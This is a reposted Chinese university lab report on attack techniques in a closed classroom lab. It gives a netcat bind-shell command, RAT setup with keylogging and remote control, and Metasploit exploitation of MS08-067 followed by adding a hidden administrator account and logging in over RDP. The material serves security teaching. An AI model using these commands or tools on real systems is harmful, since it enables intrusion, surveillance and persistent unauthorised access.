网络对抗技术—-网络对抗实验四
學???號：201421430008
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中國人民公安大學
Chinese people’?public security university
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網絡對抗技術
實驗報告
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| 實驗四 |
| 惡意代碼技術 |
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| 學生姓名 | ?吳宙楊 |
| 年級 | ?2014 |
| 區隊 | ?3 |
| 指導教師 | ?高見老師 |
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信息技術與網絡安全學院
2016年11月7日
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實驗任務總綱
2016—2017?學年?第?一?學期
一、實驗目的
1．通過對木馬的練習，使讀者理解和掌握木馬傳播和運行的機制；通過手動刪除木馬，掌握檢查木馬和刪除木馬的技巧，學會防御木馬的相關知識，加深對木馬的安全防范意識。
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2．了解并熟悉常用的網絡攻擊工具，木馬的基本功能；
3．達到鞏固課程知識和實際應用的目的。
二、實驗要求
1．認真閱讀每個實驗內容，需要截圖的題目，需清晰截圖并對截圖進行標注和說明。
2．文檔要求結構清晰，圖文表達準確，標注規范。推理內容客觀、合理、邏輯性強。
3．軟件工具可使用NC、MSF等。
4．實驗結束后，保留電子文檔。
三、實驗步驟
1．準備
提前做好實驗準備，實驗前應把詳細了解實驗目的、實驗要求和實驗內容，熟悉并準備好實驗用的軟件工具，按照實驗內容和要求提前做好實驗內容的準備。
2．實驗環境
描述實驗所使用的硬件和軟件環境（包括各種軟件工具）；
開機并啟動軟件office2003或2007、瀏覽器、加解密軟件。
3．實驗過程
1）啟動系統和啟動工具軟件環境。
2）用軟件工具實現實驗內容。
4．實驗報告
按照統一要求的實驗報告格式書寫實驗報告。把按照模板格式編寫的文檔嵌入到實驗報告文檔中，文檔按照規定的書寫格式書寫，表格要有表說圖形要有圖說。
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任務一 利用NC控制電腦
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?NetCat，具有網絡軍刀之稱，它小巧精悍且功能強大，說它小巧精悍，是因為他的軟件大小現在已經壓縮到只有十幾KB，而且在功能上絲毫不減。
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實驗過程需要兩個同學相互配合完成：
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步驟一：
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???在受害者的機器 （同學A）
輸入下面的命令：
nc.exe?-l -p port -e cmd.exe ??進入監聽模式
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步驟二：
在攻擊者的機器.（同學B）
輸入下面的命令：
nc ip??port //連接victim_IP,然后得到一個shell。?（需要截圖）
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步驟三：
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????在shell中，利用net user?用戶名 密碼?/add?，添加一個用戶，并在受害者的機器中使用?net user?命令進行驗證。（需要截圖）
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?可以繼續通過命令行做一些事情。
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任務二 利用木馬控制電腦
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實驗過程需要兩個同學配合：
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步驟一：
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??? 攻擊者的機器. （同學A）
打開V2014.exe程序或則star RAT，這兩個木馬功能類似。
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步驟二：
點擊菜單欄中的“服務生成”，在彈出的配置服務端中，配置回連IP地址（攻擊者IP）和端口號，并點擊“生成”按鈕，生成木馬服務端。
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步驟三：
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將生成的木馬可執行程序拷貝到受害者的機器，并雙擊運行。?
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步驟四：
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在控制端中查看木馬上線情況，并對以下功能每個進行測試和截圖。?
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1、控制主機
?2、獲取桌面
3、拷貝文件
4、鍵盤記錄
6、重啟電腦
任務三 通過漏洞獲取shell（合天平臺中做）?所有過程截圖寫博客
?windows ms08067 漏洞利用
在平臺中獲取shell之后，繼續利用攻擊機器使用
net user user pass /add
net localgroup administrators /add
命令向被攻擊的機器中添加賬戶，并提升為管理員
然后用rdesktop 10.1.1.130 登陸對方的遠程桌面
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關閉xp系統主機的防火墻
查看攻擊主機的ip地址和賬戶
? 啟動Armitage
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檢索10.1.1.0/24網段
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對130進行檢測
搜尋到適應的攻擊模塊
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?配置攻擊信息
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利用Metasploit shall獲得xp主機的管理員權限
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利用cmd shall建立attacker的賬戶
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利用rdesktop遠程登錄xp系統的attacker（密碼：123465）
轉載于:https://www.cnblogs.com/P201421430008/p/7751529.html
總結
以上是生活随笔為你收集整理的网络对抗技术—-网络对抗实验四的全部內容，希望文章能夠幫你解決所遇到的問題。
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